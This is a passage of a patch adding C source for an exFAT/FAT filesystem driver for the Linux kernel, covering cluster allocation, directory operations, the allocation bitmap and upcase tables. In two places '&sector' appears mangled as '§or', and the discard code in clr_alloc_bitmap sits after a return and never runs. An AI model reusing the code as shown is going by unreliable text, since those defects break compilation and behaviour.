fs_set_vol_flags(sb, VOL_DIRTY); + + new_clu.dir = (last_clu == CLUSTER_32(~0)) ? CLUSTER_32(~0) : last_clu+1; + new_clu.size = 0; + new_clu.flags = fid->flags; + + /* (1) allocate a cluster */ + num_alloced = p_fs->fs_func->alloc_cluster(sb, 1, &new_clu); + if (num_alloced < 0) + return FFS_MEDIAERR; + else if (num_alloced == 0) + return FFS_FULL; + + /* (2) append to the FAT chain */ + if (last_clu == CLUSTER_32(~0)) { + if (new_clu.flags == 0x01) + fid->flags = 0x01; + fid->start_clu = new_clu.dir; + modified = TRUE; + } else { + if (new_clu.flags != fid->flags) { + exfat_chain_cont_cluster(sb, fid->start_clu, num_clusters); + fid->flags = 0x01; + modified = TRUE; + } + if (new_clu.flags == 0x01) + FAT_write(sb, last_clu, new_clu.dir); + } + + num_clusters += num_alloced; + *clu = new_clu.dir; + + if (p_fs->vol_type == EXFAT) { + es = get_entry_set_in_dir(sb, &(fid->dir), fid->entry, ES_ALL_ENTRIES, &ep); + if (es == NULL) + return FFS_MEDIAERR; + /* get stream entry */ + ep++; + } + + /* (3) update directory entry */ + if (modified) { + if (p_fs->vol_type != EXFAT) { + ep = get_entry_in_dir(sb, &(fid->dir), fid->entry, §or); + if (!ep) + return FFS_MEDIAERR; + } + + if (p_fs->fs_func->get_entry_flag(ep) != fid->flags) + p_fs->fs_func->set_entry_flag(ep, fid->flags); + + if (p_fs->fs_func->get_entry_clu0(ep) != fid->start_clu) + p_fs->fs_func->set_entry_clu0(ep, fid->start_clu); + + if (p_fs->vol_type != EXFAT) + buf_modify(sb, sector); + } + + if (p_fs->vol_type == EXFAT) { + update_dir_checksum_with_entry_set(sb, es); + release_entry_set(es); + } + + /* add number of new blocks to inode */ + inode->i_blocks += num_alloced << (p_fs->cluster_size_bits - 9); + } + + /* hint information */ + fid->hint_last_off = (s32)(fid->rwoffset >> p_fs->cluster_size_bits); + fid->hint_last_clu = *clu; + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + + return FFS_SUCCESS; +} /* end of ffsMapCluster */ + +/*----------------------------------------------------------------------*/ +/* Directory Operation Functions */ +/*----------------------------------------------------------------------*/ + +/* ffsCreateDir : create(make) a directory */ +s32 ffsCreateDir(struct inode *inode, char *path, FILE_ID_T *fid) +{ + s32 ret/*, dentry*/; + CHAIN_T dir; + UNI_NAME_T uni_name; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + DPRINTK("ffsCreateDir entered\n"); + + /* check the validity of directory name in the given old pathname */ + ret = resolve_path(inode, path, &dir, &uni_name); + if (ret) + return ret; + + fs_set_vol_flags(sb, VOL_DIRTY); + + ret = create_dir(inode, &dir, &uni_name, fid); + +#ifdef CONFIG_EXFAT_DELAYED_SYNC + fs_sync(sb, 0); + fs_set_vol_flags(sb, VOL_CLEAN); +#endif + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + + return ret; +} /* end of ffsCreateDir */ + +/* ffsReadDir : read a directory entry from the opened directory */ +s32 ffsReadDir(struct inode *inode, DIR_ENTRY_T *dir_entry) +{ + int i, dentry, clu_offset; + s32 dentries_per_clu, dentries_per_clu_bits = 0; + u32 type, sector; + CHAIN_T dir, clu; + UNI_NAME_T uni_name; + TIMESTAMP_T tm; + DENTRY_T *ep; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + FILE_ID_T *fid = &(EXFAT_I(inode)->fid); + + /* check if the given file ID is opened */ + if (fid->type != TYPE_DIR) + return FFS_PERMISSIONERR; + + if (fid->entry == -1) { + dir.dir = p_fs->root_dir; + dir.flags = 0x01; + } else { + dir.dir = fid->start_clu; + dir.size = (s32)(fid->size >> p_fs->cluster_size_bits); + dir.flags = fid->flags; + } + + dentry = (s32) fid->rwoffset; + + if (dir.dir == CLUSTER_32(0)) { /* FAT16 root_dir */ + dentries_per_clu = p_fs->dentries_in_root; + + if (dentry == dentries_per_clu) { + clu.dir = CLUSTER_32(~0); + } else { + clu.dir = dir.dir; + clu.size = dir.size; + clu.flags = dir.flags; + } + } else { + dentries_per_clu = p_fs->dentries_per_clu; + dentries_per_clu_bits = ilog2(dentries_per_clu); + + clu_offset = dentry >> dentries_per_clu_bits; + clu.dir = dir.dir; + clu.size = dir.size; + clu.flags = dir.flags; + + if (clu.flags == 0x03) { + clu.dir += clu_offset; + clu.size -= clu_offset; + } else { + /* hint_information */ + if ((clu_offset > 0) && (fid->hint_last_off > 0) && + (clu_offset >= fid->hint_last_off)) { + clu_offset -= fid->hint_last_off; + clu.dir = fid->hint_last_clu; + } + + while (clu_offset > 0) { + /* clu.dir = FAT_read(sb, clu.dir); */ + if (FAT_read(sb, clu.dir, &(clu.dir)) == -1) + return FFS_MEDIAERR; + + clu_offset--; + } + } + } + + while (clu.dir != CLUSTER_32(~0)) { + if (p_fs->dev_ejected) + break; + + if (dir.dir == CLUSTER_32(0)) /* FAT16 root_dir */ + i = dentry % dentries_per_clu; + else + i = dentry & (dentries_per_clu-1); + + for ( ; i < dentries_per_clu; i++, dentry++) { + ep = get_entry_in_dir(sb, &clu, i, §or); + if (!ep) + return FFS_MEDIAERR; + + type = p_fs->fs_func->get_entry_type(ep); + + if (type == TYPE_UNUSED) + break; + + if ((type != TYPE_FILE) && (type != TYPE_DIR)) + continue; + + buf_lock(sb, sector); + dir_entry->Attr = p_fs->fs_func->get_entry_attr(ep); + + p_fs->fs_func->get_entry_time(ep, &tm, TM_CREATE); + dir_entry->CreateTimestamp.Year = tm.year; + dir_entry->CreateTimestamp.Month = tm.mon; + dir_entry->CreateTimestamp.Day = tm.day; + dir_entry->CreateTimestamp.Hour = tm.hour; + dir_entry->CreateTimestamp.Minute = tm.min; + dir_entry->CreateTimestamp.Second = tm.sec; + dir_entry->CreateTimestamp.MilliSecond = 0; + + p_fs->fs_func->get_entry_time(ep, &tm, TM_MODIFY); + dir_entry->ModifyTimestamp.Year = tm.year; + dir_entry->ModifyTimestamp.Month = tm.mon; + dir_entry->ModifyTimestamp.Day = tm.day; + dir_entry->ModifyTimestamp.Hour = tm.hour; + dir_entry->ModifyTimestamp.Minute = tm.min; + dir_entry->ModifyTimestamp.Second = tm.sec; + dir_entry->ModifyTimestamp.MilliSecond = 0; + + memset((char *) &dir_entry->AccessTimestamp, 0, sizeof(DATE_TIME_T)); + + *(uni_name.name) = 0x0; + p_fs->fs_func->get_uni_name_from_ext_entry(sb, &dir, dentry, uni_name.name); + if (*(uni_name.name) == 0x0 && p_fs->vol_type != EXFAT) + get_uni_name_from_dos_entry(sb, (DOS_DENTRY_T *) ep, &uni_name, 0x1); + nls_uniname_to_cstring(sb, dir_entry->Name, &uni_name); + buf_unlock(sb, sector); + + if (p_fs->vol_type == EXFAT) { + ep = get_entry_in_dir(sb, &clu, i+1, NULL); + if (!ep) + return FFS_MEDIAERR; + } else { + get_uni_name_from_dos_entry(sb, (DOS_DENTRY_T *) ep, &uni_name, 0x0); + nls_uniname_to_cstring(sb, dir_entry->ShortName, &uni_name); + } + + dir_entry->Size = p_fs->fs_func->get_entry_size(ep); + + /* hint information */ + if (dir.dir == CLUSTER_32(0)) { /* FAT16 root_dir */ + } else { + fid->hint_last_off = dentry >> dentries_per_clu_bits; + fid->hint_last_clu = clu.dir; + } + + fid->rwoffset = (s64) ++dentry; + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + + return FFS_SUCCESS; + } + + if (dir.dir == CLUSTER_32(0)) + break; /* FAT16 root_dir */ + + if (clu.flags == 0x03) { + if ((--clu.size) > 0) + clu.dir++; + else + clu.dir = CLUSTER_32(~0); + } else { + /* clu.dir = FAT_read(sb, clu.dir); */ + if (FAT_read(sb, clu.dir, &(clu.dir)) == -1) + return FFS_MEDIAERR; + } + } + + *(dir_entry->Name) = '\0'; + + fid->rwoffset = (s64) ++dentry; + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + + return FFS_SUCCESS; +} /* end of ffsReadDir */ + +/* ffsRemoveDir : remove a directory */ +s32 ffsRemoveDir(struct inode *inode, FILE_ID_T *fid) +{ + s32 dentry; + CHAIN_T dir, clu_to_free; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + dir.dir = fid->dir.dir; + dir.size = fid->dir.size; + dir.flags = fid->dir.flags; + + dentry = fid->entry; + + /* check if the file is "." or ".." */ + if (p_fs->vol_type != EXFAT) { + if ((dir.dir != p_fs->root_dir) && (dentry < 2)) + return FFS_PERMISSIONERR; + } + + clu_to_free.dir = fid->start_clu; + clu_to_free.size = (s32)((fid->size-1) >> p_fs->cluster_size_bits) + 1; + clu_to_free.flags = fid->flags; + + if (!is_dir_empty(sb, &clu_to_free)) + return FFS_FILEEXIST; + + fs_set_vol_flags(sb, VOL_DIRTY); + + /* (1) update the directory entry */ + remove_file(inode, &dir, dentry); + + /* (2) free the clusters */ + p_fs->fs_func->free_cluster(sb, &clu_to_free, 1); + + fid->size = 0; + fid->start_clu = CLUSTER_32(~0); + fid->flags = (p_fs->vol_type == EXFAT)? 0x03: 0x01; + +#ifdef CONFIG_EXFAT_DELAYED_SYNC + fs_sync(sb, 0); + fs_set_vol_flags(sb, VOL_CLEAN); +#endif + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + + return FFS_SUCCESS; +} /* end of ffsRemoveDir */ + +/*======================================================================*/ +/* Local Function Definitions */ +/*======================================================================*/ + +/* + * File System Management Functions + */ + +s32 fs_init(void) +{ + /* critical check for system requirement on size of DENTRY_T structure */ + if (sizeof(DENTRY_T) != DENTRY_SIZE) + return FFS_ALIGNMENTERR; + + if (sizeof(DOS_DENTRY_T) != DENTRY_SIZE) + return FFS_ALIGNMENTERR; + + if (sizeof(EXT_DENTRY_T) != DENTRY_SIZE) + return FFS_ALIGNMENTERR; + + if (sizeof(FILE_DENTRY_T) != DENTRY_SIZE) + return FFS_ALIGNMENTERR; + + if (sizeof(STRM_DENTRY_T) != DENTRY_SIZE) + return FFS_ALIGNMENTERR; + + if (sizeof(NAME_DENTRY_T) != DENTRY_SIZE) + return FFS_ALIGNMENTERR; + + if (sizeof(BMAP_DENTRY_T) != DENTRY_SIZE) + return FFS_ALIGNMENTERR; + + if (sizeof(CASE_DENTRY_T) != DENTRY_SIZE) + return FFS_ALIGNMENTERR; + + if (sizeof(VOLM_DENTRY_T) != DENTRY_SIZE) + return FFS_ALIGNMENTERR; + + return FFS_SUCCESS; +} /* end of fs_init */ + +s32 fs_shutdown(void) +{ + return FFS_SUCCESS; +} /* end of fs_shutdown */ + +void fs_set_vol_flags(struct super_block *sb, u32 new_flag) +{ + PBR_SECTOR_T *p_pbr; + BPBEX_T *p_bpb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + if (p_fs->vol_flag == new_flag) + return; + + p_fs->vol_flag = new_flag; + + if (p_fs->vol_type == EXFAT) { + if (p_fs->pbr_bh == NULL) { + if (sector_read(sb, p_fs->PBR_sector, &(p_fs->pbr_bh), 1) != FFS_SUCCESS) + return; + } + + p_pbr = (PBR_SECTOR_T *) p_fs->pbr_bh->b_data; + p_bpb = (BPBEX_T *) p_pbr->bpb; + SET16(p_bpb->vol_flags, (u16) new_flag); + + /* XXX duyoung + what can we do here? (cuz fs_set_vol_flags() is void) */ + if ((new_flag == VOL_DIRTY) && (!buffer_dirty(p_fs->pbr_bh))) + sector_write(sb, p_fs->PBR_sector, p_fs->pbr_bh, 1); + else + sector_write(sb, p_fs->PBR_sector, p_fs->pbr_bh, 0); + } +} /* end of fs_set_vol_flags */ + +void fs_sync(struct super_block *sb, s32 do_sync) +{ + if (do_sync) + bdev_sync(sb); +} /* end of fs_sync */ + +void fs_error(struct super_block *sb) +{ + struct exfat_mount_options *opts = &EXFAT_SB(sb)->options; + + if (opts->errors == EXFAT_ERRORS_PANIC) + panic("[EXFAT] Filesystem panic from previous error\n"); + else if ((opts->errors == EXFAT_ERRORS_RO) && !(sb->s_flags & MS_RDONLY)) { + sb->s_flags |= MS_RDONLY; + printk(KERN_ERR "[EXFAT] Filesystem has been set read-only\n"); + } +} + +/* + * Cluster Management Functions + */ + +s32 clear_cluster(struct super_block *sb, u32 clu) +{ + u32 s, n; + s32 ret = FFS_SUCCESS; + struct buffer_head *tmp_bh = NULL; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + + if (clu == CLUSTER_32(0)) { /* FAT16 root_dir */ + s = p_fs->root_start_sector; + n = p_fs->data_start_sector; + } else { + s = START_SECTOR(clu); + n = s + p_fs->sectors_per_clu; + } + + for (; s < n; s++) { + ret = sector_read(sb, s, &tmp_bh, 0); + if (ret != FFS_SUCCESS) + return ret; + + memset((char *) tmp_bh->b_data, 0x0, p_bd->sector_size); + ret = sector_write(sb, s, tmp_bh, 0); + if (ret != FFS_SUCCESS) + break; + } + + brelse(tmp_bh); + return ret; +} /* end of clear_cluster */ + +s32 fat_alloc_cluster(struct super_block *sb, s32 num_alloc, CHAIN_T *p_chain) +{ + int i, num_clusters = 0; + u32 new_clu, last_clu = CLUSTER_32(~0), read_clu; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + new_clu = p_chain->dir; + if (new_clu == CLUSTER_32(~0)) + new_clu = p_fs->clu_srch_ptr; + else if (new_clu >= p_fs->num_clusters) + new_clu = 2; + + __set_sb_dirty(sb); + + p_chain->dir = CLUSTER_32(~0); + + for (i = 2; i < p_fs->num_clusters; i++) { + if (FAT_read(sb, new_clu, &read_clu) != 0) + return -1; + + if (read_clu == CLUSTER_32(0)) { + if (FAT_write(sb, new_clu, CLUSTER_32(~0)) < 0) + return -1; + num_clusters++; + + if (p_chain->dir == CLUSTER_32(~0)) + p_chain->dir = new_clu; + else { + if (FAT_write(sb, last_clu, new_clu) < 0) + return -1; + } + + last_clu = new_clu; + + if ((--num_alloc) == 0) { + p_fs->clu_srch_ptr = new_clu; + if (p_fs->used_clusters != (u32) ~0) + p_fs->used_clusters += num_clusters; + + return num_clusters; + } + } + if ((++new_clu) >= p_fs->num_clusters) + new_clu = 2; + } + + p_fs->clu_srch_ptr = new_clu; + if (p_fs->used_clusters != (u32) ~0) + p_fs->used_clusters += num_clusters; + + return num_clusters; +} /* end of fat_alloc_cluster */ + +s32 exfat_alloc_cluster(struct super_block *sb, s32 num_alloc, CHAIN_T *p_chain) +{ + s32 num_clusters = 0; + u32 hint_clu, new_clu, last_clu = CLUSTER_32(~0); + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + hint_clu = p_chain->dir; + if (hint_clu == CLUSTER_32(~0)) { + hint_clu = test_alloc_bitmap(sb, p_fs->clu_srch_ptr-2); + if (hint_clu == CLUSTER_32(~0)) + return 0; + } else if (hint_clu >= p_fs->num_clusters) { + hint_clu = 2; + p_chain->flags = 0x01; + } + + __set_sb_dirty(sb); + + p_chain->dir = CLUSTER_32(~0); + + while ((new_clu = test_alloc_bitmap(sb, hint_clu-2)) != CLUSTER_32(~0)) { + if (new_clu != hint_clu) { + if (p_chain->flags == 0x03) { + exfat_chain_cont_cluster(sb, p_chain->dir, num_clusters); + p_chain->flags = 0x01; + } + } + + if (set_alloc_bitmap(sb, new_clu-2) != FFS_SUCCESS) + return -1; + + num_clusters++; + + if (p_chain->flags == 0x01) { + if (FAT_write(sb, new_clu, CLUSTER_32(~0)) < 0) + return -1; + } + + if (p_chain->dir == CLUSTER_32(~0)) { + p_chain->dir = new_clu; + } else { + if (p_chain->flags == 0x01) { + if (FAT_write(sb, last_clu, new_clu) < 0) + return -1; + } + } + last_clu = new_clu; + + if ((--num_alloc) == 0) { + p_fs->clu_srch_ptr = hint_clu; + if (p_fs->used_clusters != (u32) ~0) + p_fs->used_clusters += num_clusters; + + p_chain->size += num_clusters; + return num_clusters; + } + + hint_clu = new_clu + 1; + if (hint_clu >= p_fs->num_clusters) { + hint_clu = 2; + + if (p_chain->flags == 0x03) { + exfat_chain_cont_cluster(sb, p_chain->dir, num_clusters); + p_chain->flags = 0x01; + } + } + } + + p_fs->clu_srch_ptr = hint_clu; + if (p_fs->used_clusters != (u32) ~0) + p_fs->used_clusters += num_clusters; + + p_chain->size += num_clusters; + return num_clusters; +} /* end of exfat_alloc_cluster */ + +void fat_free_cluster(struct super_block *sb, CHAIN_T *p_chain, s32 do_relse) +{ + s32 num_clusters = 0; + u32 clu, prev; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + int i; + u32 sector; + + if ((p_chain->dir == CLUSTER_32(0)) || (p_chain->dir == CLUSTER_32(~0))) + return; + __set_sb_dirty(sb); + clu = p_chain->dir; + + if (p_chain->size <= 0) + return; + + do { + if (p_fs->dev_ejected) + break; + + if (do_relse) { + sector = START_SECTOR(clu); + for (i = 0; i < p_fs->sectors_per_clu; i++) + buf_release(sb, sector+i); + } + + prev = clu; + if (FAT_read(sb, clu, &clu) == -1) + break; + + if (FAT_write(sb, prev, CLUSTER_32(0)) < 0) + break; + num_clusters++; + + } while (clu != CLUSTER_32(~0)); + + if (p_fs->used_clusters != (u32) ~0) + p_fs->used_clusters -= num_clusters; +} /* end of fat_free_cluster */ + +void exfat_free_cluster(struct super_block *sb, CHAIN_T *p_chain, s32 do_relse) +{ + s32 num_clusters = 0; + u32 clu; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + int i; + u32 sector; + + if ((p_chain->dir == CLUSTER_32(0)) || (p_chain->dir == CLUSTER_32(~0))) + return; + + if (p_chain->size <= 0) { + printk(KERN_ERR "[EXFAT] free_cluster : skip free-req clu:%u, " + "because of zero-size truncation\n" + ,p_chain->dir); + return; + } + + __set_sb_dirty(sb); + clu = p_chain->dir; + + if (p_chain->flags == 0x03) { + do { + if (do_relse) { + sector = START_SECTOR(clu); + for (i = 0; i < p_fs->sectors_per_clu; i++) + buf_release(sb, sector+i); + } + + if (clr_alloc_bitmap(sb, clu-2) != FFS_SUCCESS) + break; + clu++; + + num_clusters++; + } while (num_clusters < p_chain->size); + } else { + do { + if (p_fs->dev_ejected) + break; + + if (do_relse) { + sector = START_SECTOR(clu); + for (i = 0; i < p_fs->sectors_per_clu; i++) + buf_release(sb, sector+i); + } + + if (clr_alloc_bitmap(sb, clu-2) != FFS_SUCCESS) + break; + + if (FAT_read(sb, clu, &clu) == -1) + break; + num_clusters++; + } while ((clu != CLUSTER_32(0)) && (clu != CLUSTER_32(~0))); + } + + if (p_fs->used_clusters != (u32) ~0) + p_fs->used_clusters -= num_clusters; +} /* end of exfat_free_cluster */ + +u32 find_last_cluster(struct super_block *sb, CHAIN_T *p_chain) +{ + u32 clu, next; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + clu = p_chain->dir; + + if (p_chain->flags == 0x03) { + clu += p_chain->size - 1; + } else { + while ((FAT_read(sb, clu, &next) == 0) && (next != CLUSTER_32(~0))) { + if (p_fs->dev_ejected) + break; + clu = next; + } + } + + return clu; +} /* end of find_last_cluster */ + +s32 count_num_clusters(struct super_block *sb, CHAIN_T *p_chain) +{ + int i, count = 0; + u32 clu; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + if ((p_chain->dir == CLUSTER_32(0)) || (p_chain->dir == CLUSTER_32(~0))) + return 0; + + clu = p_chain->dir; + + if (p_chain->flags == 0x03) { + count = p_chain->size; + } else { + for (i = 2; i < p_fs->num_clusters; i++) { + count++; + if (FAT_read(sb, clu, &clu) != 0) + return 0; + if (clu == CLUSTER_32(~0)) + break; + } + } + + return count; +} /* end of count_num_clusters */ + +s32 fat_count_used_clusters(struct super_block *sb) +{ + int i, count = 0; + u32 clu; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + for (i = 2; i < p_fs->num_clusters; i++) { + if (FAT_read(sb, i, &clu) != 0) + break; + if (clu != CLUSTER_32(0)) + count++; + } + + return count; +} /* end of fat_count_used_clusters */ + +s32 exfat_count_used_clusters(struct super_block *sb) +{ + int i, map_i, map_b, count = 0; + u8 k; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + + map_i = map_b = 0; + + for (i = 2; i < p_fs->num_clusters; i += 8) { + k = *(((u8 *) p_fs->vol_amap[map_i]->b_data) + map_b); + count += used_bit[k]; + + if ((++map_b) >= p_bd->sector_size) { + map_i++; + map_b = 0; + } + } + + return count; +} /* end of exfat_count_used_clusters */ + +void exfat_chain_cont_cluster(struct super_block *sb, u32 chain, s32 len) +{ + if (len == 0) + return; + + while (len > 1) { + if (FAT_write(sb, chain, chain+1) < 0) + break; + chain++; + len--; + } + FAT_write(sb, chain, CLUSTER_32(~0)); +} /* end of exfat_chain_cont_cluster */ + +/* + * Allocation Bitmap Management Functions + */ + +s32 load_alloc_bitmap(struct super_block *sb) +{ + int i, j, ret; + u32 map_size; + u32 type, sector; + CHAIN_T clu; + BMAP_DENTRY_T *ep; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + + clu.dir = p_fs->root_dir; + clu.flags = 0x01; + + while (clu.dir != CLUSTER_32(~0)) { + if (p_fs->dev_ejected) + break; + + for (i = 0; i < p_fs->dentries_per_clu; i++) { + ep = (BMAP_DENTRY_T *) get_entry_in_dir(sb, &clu, i, NULL); + if (!ep) + return FFS_MEDIAERR; + + type = p_fs->fs_func->get_entry_type((DENTRY_T *) ep); + + if (type == TYPE_UNUSED) + break; + if (type != TYPE_BITMAP) + continue; + + if (ep->flags == 0x0) { + p_fs->map_clu = GET32_A(ep->start_clu); + map_size = (u32) GET64_A(ep->size); + + p_fs->map_sectors = ((map_size-1) >> p_bd->sector_size_bits) + 1; + + p_fs->vol_amap = (struct buffer_head **) kmalloc(sizeof(struct buffer_head *) * p_fs->map_sectors, GFP_KERNEL); + if (p_fs->vol_amap == NULL) + return FFS_MEMORYERR; + + sector = START_SECTOR(p_fs->map_clu); + + for (j = 0; j < p_fs->map_sectors; j++) { + p_fs->vol_amap[j] = NULL; + ret = sector_read(sb, sector+j, &(p_fs->vol_amap[j]), 1); + if (ret != FFS_SUCCESS) { + /* release all buffers and free vol_amap */ + i = 0; + while (i < j) + brelse(p_fs->vol_amap[i++]); + + if (p_fs->vol_amap) + kfree(p_fs->vol_amap); + p_fs->vol_amap = NULL; + return ret; + } + } + + p_fs->pbr_bh = NULL; + return FFS_SUCCESS; + } + } + + if (FAT_read(sb, clu.dir, &(clu.dir)) != 0) + return FFS_MEDIAERR; + } + + return FFS_FORMATERR; +} /* end of load_alloc_bitmap */ + +void free_alloc_bitmap(struct super_block *sb) +{ + int i; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + brelse(p_fs->pbr_bh); + + for (i = 0; i < p_fs->map_sectors; i++) + __brelse(p_fs->vol_amap[i]); + + if (p_fs->vol_amap) + kfree(p_fs->vol_amap); + p_fs->vol_amap = NULL; +} /* end of free_alloc_bitmap */ + +s32 set_alloc_bitmap(struct super_block *sb, u32 clu) +{ + int i, b; + u32 sector; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + + i = clu >> (p_bd->sector_size_bits + 3); + b = clu & ((p_bd->sector_size << 3) - 1); + + sector = START_SECTOR(p_fs->map_clu) + i; + + exfat_bitmap_set((u8 *) p_fs->vol_amap[i]->b_data, b); + + return sector_write(sb, sector, p_fs->vol_amap[i], 0); +} /* end of set_alloc_bitmap */ + +s32 clr_alloc_bitmap(struct super_block *sb, u32 clu) +{ + int i, b; + u32 sector; +#ifdef CONFIG_EXFAT_DISCARD + struct exfat_sb_info *sbi = EXFAT_SB(sb); + struct exfat_mount_options *opts = &sbi->options; + int ret; +#endif /* CONFIG_EXFAT_DISCARD */ + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + + i = clu >> (p_bd->sector_size_bits + 3); + b = clu & ((p_bd->sector_size << 3) - 1); + + sector = START_SECTOR(p_fs->map_clu) + i; + + exfat_bitmap_clear((u8 *) p_fs->vol_amap[i]->b_data, b); + + return sector_write(sb, sector, p_fs->vol_amap[i], 0); + +#ifdef CONFIG_EXFAT_DISCARD + if (opts->discard) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,37) + ret = sb_issue_discard(sb, START_SECTOR(clu), (1 << p_fs->sectors_per_clu_bits)); +#else + ret = sb_issue_discard(sb, START_SECTOR(clu), (1 << p_fs->sectors_per_clu_bits), GFP_NOFS, 0); +#endif + if (ret == -EOPNOTSUPP) { + printk(KERN_WARNING "discard not supported by device, disabling"); + opts->discard = 0; + } + } +#endif /* CONFIG_EXFAT_DISCARD */ +} /* end of clr_alloc_bitmap */ + +u32 test_alloc_bitmap(struct super_block *sb, u32 clu) +{ + int i, map_i, map_b; + u32 clu_base, clu_free; + u8 k, clu_mask; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + + clu_base = (clu & ~(0x7)) + 2; + clu_mask = (1 << (clu - clu_base + 2)) - 1; + + map_i = clu >> (p_bd->sector_size_bits + 3); + map_b = (clu >> 3) & p_bd->sector_size_mask; + + for (i = 2; i < p_fs->num_clusters; i += 8) { + k = *(((u8 *) p_fs->vol_amap[map_i]->b_data) + map_b); + if (clu_mask > 0) { + k |= clu_mask; + clu_mask = 0; + } + if (k < 0xFF) { + clu_free = clu_base + free_bit[k]; + if (clu_free < p_fs->num_clusters) + return clu_free; + } + clu_base += 8; + + if (((++map_b) >= p_bd->sector_size) || (clu_base >= p_fs->num_clusters)) { + if ((++map_i) >= p_fs->map_sectors) { + clu_base = 2; + map_i = 0; + } + map_b = 0; + } + } + + return CLUSTER_32(~0); +} /* end of test_alloc_bitmap */ + +void sync_alloc_bitmap(struct super_block *sb) +{ + int i; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + if (p_fs->vol_amap == NULL) + return; + + for (i = 0; i < p_fs->map_sectors; i++) + sync_dirty_buffer(p_fs->vol_amap[i]); +} /* end of sync_alloc_bitmap */ + +/* + * Upcase table Management Functions + */ +s32 __load_upcase_table(struct super_block *sb, u32 sector, u32 num_sectors, u32 utbl_checksum) +{ + int i, ret = FFS_ERROR; + u32 j; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + struct buffer_head *tmp_bh = NULL; + + u8 skip = FALSE; + u32 index = 0; + u16 uni = 0; + u16 **upcase_table; + + u32 checksum = 0; + + upcase_table = p_fs->vol_utbl = (u16 **) kmalloc(UTBL_COL_COUNT * sizeof(u16 *), GFP_KERNEL); + if (upcase_table == NULL) + return FFS_MEMORYERR; + memset(upcase_table, 0, UTBL_COL_COUNT * sizeof(u16 *)); + + num_sectors += sector; + + while (sector < num_sectors) { + ret = sector_read(sb, sector, &tmp_bh, 1); + if (ret != FFS_SUCCESS) { + DPRINTK("sector read (0x%X)fail\n", sector); + goto error; + } + sector++; + + for (i = 0; i < p_bd->sector_size && index <= 0xFFFF; i += 2) { + uni = GET16(((u8 *) tmp_bh->b_data)+i); + + checksum = ((checksum & 1) ? 0x80000000 : 0) + (checksum >> 1) + *(((u8 *) tmp_bh->b_data)+i); + checksum = ((checksum & 1) ? 0x80000000 : 0) + (checksum >> 1) + *(((u8 *) tmp_bh->b_data)+(i+1)); + + if (skip) { + DPRINTK("skip from 0x%X ", index); + index += uni; + DPRINTK("to 0x%X (amount of 0x%X)\n", index, uni); + skip = FALSE; + } else if (uni == index) + index++; + else if (uni == 0xFFFF) + skip = TRUE; + else { /* uni != index , uni != 0xFFFF */ + u16 col_index = get_col_index(index); + + if (upcase_table[col_index] == NULL) { + DPRINTK("alloc = 0x%X\n", col_index); + upcase_table[col_index] = (u16 *) kmalloc(UTBL_ROW_COUNT * sizeof(u16), GFP_KERNEL); + if (upcase_table[col_index] == NULL) { + ret = FFS_MEMORYERR; + goto error; + } + + for (j = 0; j < UTBL_ROW_COUNT; j++) + upcase_table[col_index][j] = (col_index << LOW_INDEX_BIT) | j; + } + + upcase_table[col_index][get_row_index(index)] = uni; + index++; + } + } + } + if (index >= 0xFFFF && utbl_checksum == checksum) { + if (tmp_bh) + brelse(tmp_bh); + return FFS_SUCCESS; + } + ret = FFS_ERROR; +error: + if (tmp_bh) + brelse(tmp_bh); + free_upcase_table(sb); + return ret; +} + +s32 __load_default_upcase_table(struct super_block *sb) +{ + int i, ret = FFS_ERROR; + u32 j; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + u8 skip = FALSE; + u32 index = 0; + u16 uni = 0; + u16 **upcase_table; + + upcase_table = p_fs->vol_utbl = (u16 **) kmalloc(UTBL_COL_COUNT * sizeof(u16 *), GFP_KERNEL); + if (upcase_table == NULL) + return FFS_MEMORYERR; + memset(upcase_table, 0, UTBL_COL_COUNT * sizeof(u16 *)); + + for (i = 0; index <= 0xFFFF && i < NUM_UPCASE*2; i += 2) { + uni = GET16(uni_upcase + i); + if (skip) { + DPRINTK("skip from 0x%X ", index); + index += uni; + DPRINTK("to 0x%X (amount of 0x%X)\n", index, uni); + skip = FALSE; + } else if (uni == index) + index++; + else if (uni == 0xFFFF) + skip = TRUE; + else { /* uni != index , uni != 0xFFFF */ + u16 col_index = get_col_index(index); + + if (upcase_table[col_index] == NULL) { + DPRINTK("alloc = 0x%X\n", col_index); + upcase_table[col_index] = (u16 *) 